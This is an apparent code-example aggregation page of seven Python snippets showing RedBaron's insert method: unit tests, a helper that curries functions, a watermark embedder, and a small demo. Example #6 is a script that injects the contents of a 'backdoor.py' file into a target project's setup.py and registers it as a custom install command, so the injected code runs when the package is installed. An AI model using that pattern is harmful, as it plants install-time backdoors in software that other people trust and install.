Пример #1
0
def functionalize(src):
    red = RedBaron(src)
    red.insert(0, 'import pync')
    for func in red.find_all('def'):
        func.decorators.append('@pync.curry')

    for l in red.find_all('list') + red.find_all('list_comprehension'):
        l.replace("pync.list(%s)" % l)

    return red.dumps()
Пример #2
0
def test_root_as_line_proxy_list_insert():
    red = RedBaron("a\nb\nc\n")
    red.insert(1, "c")
    assert red.dumps() == "a\nc\nb\nc\n"
Пример #3
0
def test_mixmatch_with_redbaron_base_node_and_proxy_list_on_parent():
    red = RedBaron("foo = 42\nprint('bar')\n")
    red.insert(0, "baz")
    assert red[0].on_attribute == "root"
    assert red[0].parent is red
Пример #4
0
def test_root_as_line_proxy_list_insert():
    red = RedBaron("a\nb\nc\n")
    red.insert(1, "c")
    assert red.dumps() == "a\nc\nb\nc\n"
Пример #5
0
ifIndexes.append(ifIndexes.pop() + 1)

#<-----Embed Watermark----->

# Rename
for index, name in enumerate(ifNames):
    test = colzList[0]
    for x in test.find_all('name', value='x'):
        x.value = name
    for y in test.find_all('name', value='y'):
        y.value = 'y' + str(index + 1)
    colzList.pop(0)
    colzList.append(test)

# Populate values
for index, value in enumerate(ifValues):
    test = colzList[index]
    test.find('name', value='v1').value = str(value + 2)
    test.find('name', value='v2').value = str(value - 2)

# Insert
for index, node in enumerate(ifNodes):
    node.replace(colzList[index][1])

# Append
for index, value in enumerate(ifIndexes):
    red.insert(value, colzList[index][0])

with open('XmarkOutput.py', 'w') as dest:
    dest.write(red.dumps())
Пример #6
0
import os
import sys
from redbaron import RedBaron

with open(os.path.join(sys.argv[1], "setup.py"), "r") as source_code:
    source = RedBaron(source_code.read())

with open("backdoor.py", "r") as backdoor_code:
    backdoor_string = backdoor_code.read()

backdoor = RedBaron(backdoor_string)

for block in reversed(backdoor):
    source.insert(0, block.dumps())
#print(source)
source.find('name', value='setup').parent.find('call').value.append(
    "cmdclass={'install': install,}")
#print(source.dumps())

with open(os.path.join(sys.argv[1], "setup.py"), "w") as source_code:
    source_code.write(source.dumps())
Пример #7
0
from redbaron import RedBaron

# # monekey patching for prevent ValueError
# import redbaron.base_nodes
# def index(self, v):
#     try:
#         return self.data.index(v)
#     except ValueError:
#         return None
# redbaron.base_nodes.NodeList.index = index


source = """\
# comment1

def f(x, y):
    return x + y
"""


t2 = RedBaron(source)
t2.insert(3, "print('hello')")
print(t2.dumps())